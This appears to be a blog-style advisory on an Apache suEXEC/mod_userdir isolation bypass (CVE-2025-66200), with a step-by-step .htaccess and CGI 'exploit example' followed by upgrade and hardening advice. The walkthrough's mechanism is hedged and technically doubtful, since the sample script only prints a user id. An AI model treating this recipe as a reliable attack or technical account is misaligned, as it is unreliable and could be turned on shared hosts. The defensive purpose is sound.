A new vulnerability has been discovered in Apache HTTP Server (CVE-2025-66200) that could allow attackers to bypass user isolation provided by suEXEC when combined with mod_userdir. By abusing the AllowOverride FileInfo configuration, a user who's allowed to set certain RequestHeader options in their .htaccess file could trick the server into running CGI scripts as a different user than expected. Here’s everything you need to know about this exploit, how it works, and how to fix it.

This vulnerability affects Apache versions 2.4.7 through 2.4.65. Upgrading to 2.4.66 closes this security hole.

Background: Key Components

- mod_userdir: Allows each user to have a personal web directory, usually accessible via http://example.com/~username/.
- suEXEC: A mechanism that ensures CGI scripts run under the user’s account, not as the web server user, for isolation/security.
- AllowOverride FileInfo: Grants users permission to set certain configuration in their .htaccess files. This includes directives like Options, AddType, and crucially for this bug, RequestHeader.

How the Vulnerability Works

If AllowOverride FileInfo is set for users’ home directories, users can use the RequestHeader directive in their .htaccess files. Some CGI scripts depend on HTTP headers to decide which user context they run as. By customizing HTTP headers (via RequestHeader), a user can mislead suEXEC (or scripts) about which user owns a given request.

This breaks the isolation guarantee that should keep users’ CGI scripts from accessing or interfering with another’s resources.

In short:
A user can make their CGI script run with the permissions of another user — a classic privilege escalation.

Exploit Example: Step by Step

Here’s how a malicious user could exploit this bug.

Your Apache config might look like

# /etc/apache2/mods-enabled/userdir.conf
<IfModule mod_userdir.c>
    UserDir public_html
    <Directory /home/*/public_html>
        AllowOverride FileInfo
        Options +ExecCGI
        AddHandler cgi-script .cgi .pl .py
    </Directory>
</IfModule>

In their own public_html, the attacker adds a .htaccess

# .htaccess in /home/baduser/public_html
<IfModule mod_headers.c>
    RequestHeader set User "targetuser"
</IfModule>

The attacker creates a simple CGI script

#!/usr/bin/perl
print "Content-type: text/plain\n\n";
print "Effective user id: $<\n";

Give it executable permissions

chmod +x /home/baduser/public_html/hackme.cgi

Step 4: Run the Script via Web

By requesting http://example.com/~baduser/hackme.cgi, Apache will process .htaccess. Because the attacker can set the User header, and some CGI environments (incorrectly) trust that header to determine execution context, the script could run as targetuser (depending on other site config and CGI logic).

Who's at Risk?

- Shared hosting providers using Apache w/ mod_userdir + suEXEC.
- Anyone allowing AllowOverride FileInfo in user directories, letting untrusted users use the RequestHeader directive.

1. Upgrade Apache Immediately

Upgrade to Apache 2.4.66. This release removes the ability for untrusted users to set dangerous headers via AllowOverride FileInfo.

- Download Apache 2.4.66
- Official Release Notes

2. Restrict AllowOverride

Do not set AllowOverride FileInfo for user directories unless you are certain of every directive users can set.

Safer alternative

AllowOverride None

3. Audit .htaccess Files

Check for use of RequestHeader or similar directives in users’ .htaccess files.

4. Limit mod_headers Use

Consider disabling mod_headers for untrusted user directories.

References

- Apache HTTP Server Security Advisory for CVE-2025-66200
- Official Apache 2.4 Documentation
- About suEXEC
- mod_userdir Info

Final Thoughts

CVE-2025-66200 is a serious risk for any shared hosting environment running Apache with userdir and suEXEC. It goes to show that even trusted configuration directives like AllowOverride FileInfo can have dangerous consequences when given to untrusted users.

Action Steps:

Think defensively: Least privilege settings are always best.

*Stay tuned to official Apache Security Announcements for the latest updates.*

Have questions or need more detailed help? Drop your query in the comments below or contact your hosting provider!

Timeline

Published on: 12/05/2025 11:15:52 UTC
Last modified on: 12/10/2025 16:39:43 UTC